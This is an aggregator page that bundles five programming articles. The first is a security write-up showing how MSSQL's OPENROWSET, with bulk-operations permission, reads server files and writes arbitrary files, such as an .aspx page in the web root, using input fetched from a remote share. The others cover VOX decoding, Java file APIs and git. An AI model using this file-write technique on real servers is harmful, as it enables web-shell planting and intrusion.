想了解Reading/WritingfileswithMSSQL''sOPENROWSET的新动态吗?本文将为您提供详细的信息,此外,我们还将为您介绍关于DecodingVOXFilesinC#(Co
想了解Reading/Writing files with MSSQL''s OPENROWSET的新动态吗?本文将为您提供详细的信息,此外,我们还将为您介绍关于Decoding VOX Files in C# (Converting VOX Files to WAV Files)、Files.copy 和 Files.write 的不同似乎两种方法都做同样的事情,两种方法都将 Multipart 文件保存到特定位置、Files.walkFileTree 与 Files.walk 在 Windows NTFS 上的性能、Git Untrack files or folder without deleting any files的新知识。
本文目录一览:- Reading/Writing files with MSSQL''s OPENROWSET
- Decoding VOX Files in C# (Converting VOX Files to WAV Files)
- Files.copy 和 Files.write 的不同似乎两种方法都做同样的事情,两种方法都将 Multipart 文件保存到特定位置
- Files.walkFileTree 与 Files.walk 在 Windows NTFS 上的性能
- Git Untrack files or folder without deleting any files
Reading/Writing files with MSSQL''s OPENROWSET
nfortunately, Microsoft SQL Server''s SQL dialect Transact-SQL does not support reading and writing files in an easy way as opposed to MySQL''s LOAD_FILE() function and INTO OUTFILEclause.
Of course, with xp_cmdshell being enabled, you can read and write files using OS commands. However, one is not always blessed with the CONTROL SERVER permission, which is generally only granted with the sysadmin role. But if you happen to have the ADMINISTER BULK OPERATIONS permission (implied by the bulkadmin role), then OPENROWSET is a viable option for both reading and writing files.
Granted, using OPENROWSET for reading and writing files is nothing new. However, all examples for writing files that I have seen so far require the access to remote OLE DB providers being enabled, which is controlled by the ad hoc distributed queries configuration option, which is disabled by default. And changing and reconfiguring any configuration option requires ALTER SETTINGS permissions (implied by the sysadmin and serveradmin roles), which are not always available. And, well, in case of the sysadmin role, you could just as well use xp_cmdshell.
So the technique for writing files demonstrated here is a little different as it exploits a side-effect of OPENROWSET, which just requires ADMINISTER BULK OPERATIONS permission. It also does not require any temporary table or whatsoever; everything can be performed in a sub-query.
CHECKING PREREQUISITES
For looking up whether the current user has ADMINISTER BULK OPERATIONS permissions, you can use the HAS_PERMS_BY_NAME() function:
SELECT HAS_PERMS_BY_NAME(null, null, ''ADMINISTER BULK OPERATIONS'') |
The the result should be 1.
READING FILES
Reading a file is pretty straight forward. When OPENROWSET is referenced in the FROM clause, it allows reading from the given file through a built-in BULK provider and returns it as a rowset. The following SELECT reads the C:\Windows\win.ini file and returns a rowset of one single character LOB:
SELECT BulkColumn | |
FROM OPENROWSET( | |
BULK ''C:\Windows\win.ini'', | |
SINGLE_CLOB | |
) t |
This, of course, can also be used to leak hashes for pass-the-hash.
WRITING FILES
Writing to a file is a little more difficult. The common approach with OPENROWSET only is calling an external OLE DB provider. But this generally requires ad hoc distributed queries being enabled and has certain caveats like restriction to certain output formats depending on the selected OLE DB provider (e. g., CSV), previous existence of the output file, registration of linked servers, etc.
However, there is a way of writing arbitrary data to an arbitrary file without any of these restrictions or prerequisites by exploiting a side-effect of OPENROWSET.
The feature that is being exploited is the error reporting feature. The reference states the purpose of the ERRORFILE argument as follows:
ERRORFILE = '' file_name''Specifies the file used to collect rows that have formatting errors and cannot be converted to an OLE DB rowset. These rows are copied into this error file from the data file "as is."
So any erroneous record from the input is directly written to the given error file as is.
The following SELECT reads from \\192.168.13.37\share\input.txt with the format specified in \\192.168.13.37\share\input.fmt and writes to C:\Inetpub\wwwroot\hello.aspx:
SELECT BulkColumn | |
FROM OPENROWSET( | |
BULK ''\\192.168.13.37\share\input.txt'', | |
FORMATFILE=''\\192.168.13.37\share\input.fmt'', | |
CODEPAGE=''RAW'', | |
ERRORFILE=''C:\Inetpub\wwwroot\hello.aspx'' | |
) t |
The input file input.txt has the following contents:
<%="Hello, World!"%> |
The non-XML format file input.fmt specifies one single column named BulkColumn of typeCHAR with the length of 1 character (fourth column) and the last character in our input file (i. e.,>) as terminator:
9.0 | |
1 | |
1 SQLCHAR 0 1 ">" 1 BulkColumn "" |
Since we specified the length with just one byte, a truncation error occurs and the whole record up to and including the final terminator (i. e., >) gets written to the error file:
Msg 4863, Level 16, State 1, Line 1
Bulk load data conversion error (truncation) for row 1, column 1 (BulkColumn).
For binary files, the XML format seems to be better as you can specify the length for both the field input and the column output and don''t need a terminator. The following format fileinput.xml allows writing binary data up to 512 kB:
<?xml version="1.0"?> | |
<BCPFORMAT xmlns="http://schemas.microsoft.com/sqlserver/2004/bulkload/format" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> | |
<RECORD> | |
<FIELD ID="1" xsi:type="CharFixed" LENGTH="1234567890"/> | |
</RECORD> | |
<ROW> | |
<COLUMN SOURCE="1" NAME="BulkColumn" xsi:type="SQLVARYBIN" LENGTH="1234567890"/> | |
</ROW> | |
</BCPFORMAT> |
The length seems to be irrelevant and it certainly raises a data conversion error due to the binary data, resulting in writing the entire data to the error file.
via:code_white
Decoding VOX Files in C# (Converting VOX Files to WAV Files)
I wrote a C# class to decode VOX files into WAV files. It follows the Dialogic ADPCM specificationstrictly. If you read through that specification, the code below will become a lot clearer, otherwise you might think you’re reading another language altogether. The specification is really quite simple and nice once you boil it down. Note that the Dialogic ADPCM specification is different from the way NMS Communications libraries create VOX files as their file format is slightly different, and for files such as those, the code below will not work without some tweaks.
My implementation to decode from VOX to WAV files is as follows:
using System;
using System.IO;
class VOXDecoder
{
static float signal = 0;
static int previousStepSizeIndex = 0;
static bool computedNextStepSizeOnce = false;
static int[] possibleStepSizes = new int[49] { 16, 17, 19, 21, 23, 25, 28, 31, 34, 37, 41, 45, 50, 55, 60, 66, 73, 80, 88, 97, 107, 118, 130, 143, 157, 173, 190, 209, 230, 253, 279, 307, 337, 371, 408, 449, 494, 544, 598, 658, 724, 796, 876, 963, 1060, 1166, 1282, 1411, 1552 };
public static void Decode(string inputFile, out string outputFile)
{
outputFile = String.Format("{0}\\{1}.wav", Path.GetDirectoryName(inputFile), Path.GetFileNameWithoutExtension(inputFile));
using (FileStream inputStream = File.Open(inputFile, FileMode.Open))
using (BinaryReader reader = new BinaryReader(inputStream))
using (FileStream outputStream = File.Create(outputFile))
using (BinaryWriter writer = new BinaryWriter(outputStream))
{
// Note that 32-bit integer values always take up 4 bytes.
// Note that 16-bit integer values (shorts) always take up 2 bytes.
// Note that HEX values resolve as 32-bit integers unless casted as something else, such as short values.
// ChunkID: "RIFF"
writer.Write(0x46464952);
// ChunkSize: The size of the entire file in bytes minus 8 bytes for the two fields not included in this count: ChunkID and ChunkSize.
writer.Write((int)(reader.BaseStream.Length * 4) + 36);
// Format: "WAVE"
writer.Write(0x45564157);
// Subchunk1ID: "fmt " (with the space).
writer.Write(0x20746D66);
// Subchunk1Size: 16 for PCM.
writer.Write(16);
// AudioFormat: 1 for PCM.
writer.Write((short)1);
// NumChannels: 1 for Mono. 2 for Stereo.
writer.Write((short)1);
// SampleRate: 8000 is usually the default for VOX.
writer.Write(8000);
// ByteRate: SampleRate * NumChannels * BitsPerSample / 8.
writer.Write(12000);
// BlockAlign: NumChannels * BitsPerSample / 8. I rounded this up to 2. It sounds best this way.
writer.Write((short)2);
// BitsPerSample: I will set this as 12 (12 bits per raw output sample as per the VOX specification).
writer.Write((short)12);
// Subchunk2ID: "data"
writer.Write(0x61746164);
// Subchunk2Size: NumSamples * NumChannels * BitsPerSample / 8. You can also think of this as the size of the read of the subchunk following this number.
writer.Write((int)(reader.BaseStream.Length * 4));
// Write the data stream to the file in linear audio.
while (reader.BaseStream.Position != reader.BaseStream.Length)
{
byte b = reader.ReadByte();
float firstDifference = GetDifference((byte)(b / 16));
signal += firstDifference;
writer.Write(TruncateSignalIfNeeded());
float secondDifference = GetDifference((byte)(b % 16));
signal += secondDifference;
writer.Write(TruncateSignalIfNeeded());
}
}
}
static short TruncateSignalIfNeeded()
{
// Keep signal truncated to 12 bits since, as per the VOX spec, each 4 bit input has 12 output bits.
// Note that 12 bits is 0b111111111111. That''s 0xFFF in HEX. That''s also 4095 in decimal.
// The sound wave is a signed signal, so factoring in 1 unused bit for the sign, that''s 4095/2 rounded down to 2047.
if (signal > 2047)
{
signal = 2047;
}
if (signal < -2047)
{
signal = -2047;
}
return (short)signal;
}
static float GetDifference(byte nibble)
{
int stepSize = GetNextStepSize(nibble);
float difference = ((stepSize * GetBit(nibble, 2)) + ((stepSize / 2) * GetBit(nibble, 1)) + (stepSize / 4 * GetBit(nibble, 0)) + (stepSize / 8));
if (GetBit(nibble, 3) == 1)
{
difference = -difference;
}
return difference;
}
static byte GetBit(byte b, int zeroBasedBitNumber)
{
// Shift the bits to the right by the number of the bit you want to get and then logic AND it with 1 to clear bits trailing to the left of your desired bit.
return (byte)((b >> zeroBasedBitNumber) & 1);
}
static int GetNextStepSize(byte nibble)
{
if (!computedNextStepSizeOnce)
{
computedNextStepSizeOnce = true;
return possibleStepSizes[0];
}
else
{
int magnitude = GetMagnitude(nibble);
if (previousStepSizeIndex + magnitude > 48)
{
previousStepSizeIndex = previousStepSizeIndex + magnitude;
return possibleStepSizes[48];
}
else if (previousStepSizeIndex + magnitude > 0)
{
previousStepSizeIndex = previousStepSizeIndex + magnitude;
return possibleStepSizes[previousStepSizeIndex];
}
else
{
return possibleStepSizes[0];
}
}
}
static int GetMagnitude(byte nibble)
{
if (nibble == 15 || nibble == 7)
return 8;
else if (nibble == 14 || nibble == 6)
return 6;
else if (nibble == 13 || nibble == 5)
return 4;
else if (nibble == 12 || nibble == 4)
return 2;
else
return -1;
}
}
It is easily called through the following two lines:
string outputWAVFilePath;
VOXDecoder.Decode(pathToYourVOXFile, out outputWAVFilePath);
Give it a shot with this sample Dialogic ADPCM VOX audio fil
Files.copy 和 Files.write 的不同似乎两种方法都做同样的事情,两种方法都将 Multipart 文件保存到特定位置
如何解决Files.copy 和 Files.write 的不同似乎两种方法都做同样的事情,两种方法都将 Multipart 文件保存到特定位置
我正在做一个项目,我试图将一个多部分文件保存到我的本地磁盘,我尝试了 Files.write 和 Files.copy,这两种方法都完成了我的工作,有人能解释一下这两者之间有什么不同吗?根据 Oracle docs copy method 将所有字节从输入流复制到文件。和 write 方法将字节写入文件。有人能给出明确的定义吗?谢谢。
Javadoc for Files class
解决方法
您不能简单地将代码中的 copy
替换为 write
,对吗?它们不可互换,因为它们采用不同的参数。 Files.copy
从 InputStream
读取并将结果写入文件。 Files.write
将字节数组或字符序列列表的内容写入文件。所以两者做了类似的事情,但它们从不同类型的输入中工作。虽然 InputStream
可以从内存缓冲区中提取,但我认为 write
总是写入已经在内存中的内容,其中 copy
通常从某些外部源(另一个文件或来自网络的东西),然后将它们写入文件。
如您所说,Files.copy()
将 InputStream
或 Path
作为写入字节的源,而 Files.write()
期望将字节写入数组字节。
有点尴尬的是,copy()
的第一个参数是源,第二个参数是目标,而 write()
则相反。
基本上,您可以说 Files.copy( Path source,Path target )
实现为
public static long copy( Path source,Path target )
{
var bytes = Files.readAllBytes( source );
Files.write( target,bytes );
return bytes.size;
}
或
public static long copy( Path source,Path target )
{
var bytes = Files.readAllBytes( source );
Files.copy( new ByteInputStream( bytes ),target );
return bytes.size;
}
(为简洁起见省略了错误处理!实际实现也可能有所不同!)
从结果来看,两种实现是等价的,但第二种需要额外的 InputStream
作为字节数组的包装器……
一般来说,如果输入数据(尚未)完全保存在内存中,您可以说您使用 Files.copy()
,否则使用 Files.write()
。使用 ByteInputStream
之类的类,您可以将数据隐藏在内存中。
Files.walkFileTree 与 Files.walk 在 Windows NTFS 上的性能
如何解决Files.walkFileTree 与 Files.walk 在 Windows NTFS 上的性能?
My application 需要定期扫描文件系统以处理文件。最初我使用 java.nio.file.Files.walk
执行扫描,但很快我遇到了一些 AccessDeniedException
的问题。 Found out 经过一些谷歌搜索后,Files.walk
期望用户可以访问探索的目录树,否则它会崩溃并停止,这使我的应用程序无法使用此功能(它由许多人自托管)各种系统上的人)。
我将实现更改为使用 java.nio.file.Files.walkfiletree
,这似乎效果很好并且处理了用户代码中的 AccessDeniedException
。
但是,最近有人报告说,扫描时间从仅 12 秒(使用 Files.walk
)飙升至 80 分钟(使用 Files.walkfiletree
) !用户拥有大约 10,000 个文件夹和 120,000 个文件。它运行的是 Windows,并且磁盘使用的是 NTFS。其他拥有类似文件夹/文件数量但运行 Linux 的用户体验不到 10 秒的扫描时间,无论使用何种方法。
我试图了解在带有 NTFS 的 Windows 上使用 Files.walkfiletree
会导致大量性能下降的原因,但鉴于我无法访问运行 Windows 的测试系统,我无法调试代码以了解时间花在哪里。
您是否知道在 Windows NTFS 下遍历文件树是否存在已知问题?如果我可以使用其他一些方法来执行该任务?请记住,我需要在用户代码中处理 AccessDeniedException
。
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)
Git Untrack files or folder without deleting any files
If you use Git, you''re probably adding files all the time as you develop your project out further and further. Sometimes though, you might need to actually remove a file from the Git repository but not not from your local files. For example, say you forgot to add a file to .gitignore
but you don''t want to remove it from your local development environment. This could be from a mistake or you didn''t realize that a new package or something created a bunch of nasty log files you don''t want in the repo. Either way, this is actually very easy to do.
Removing a single file with Git without deleting it
This method will remove a single file from your Git repository without deleting the file from your local environment. Then when you run git push
, the files will be removed in the remote repo.
git rm --cached filexample.txt
git commit -m ''untrack file from git''
git push # remove this file from remote repository
Removing multiple files with Git without deleting them
In a similar fashion, you can do this for multiple files at one time.
git rm --cached file1.txt file2.txt file3.txt
Removing an entire directory without deleting the files
This also works recursively for folders so long that you add the -r
flag to the command. Here''s an example:
git rm -r --cached folder
https://scotch.io/tutorials/how-to-use-git-remove-without-deleting-the-files
关于Reading/Writing files with MSSQL''s OPENROWSET的问题就给大家分享到这里,感谢你花时间阅读本站内容,更多关于Decoding VOX Files in C# (Converting VOX Files to WAV Files)、Files.copy 和 Files.write 的不同似乎两种方法都做同样的事情,两种方法都将 Multipart 文件保存到特定位置、Files.walkFileTree 与 Files.walk 在 Windows NTFS 上的性能、Git Untrack files or folder without deleting any files等相关知识的信息别忘了在本站进行查找喔。
本文标签: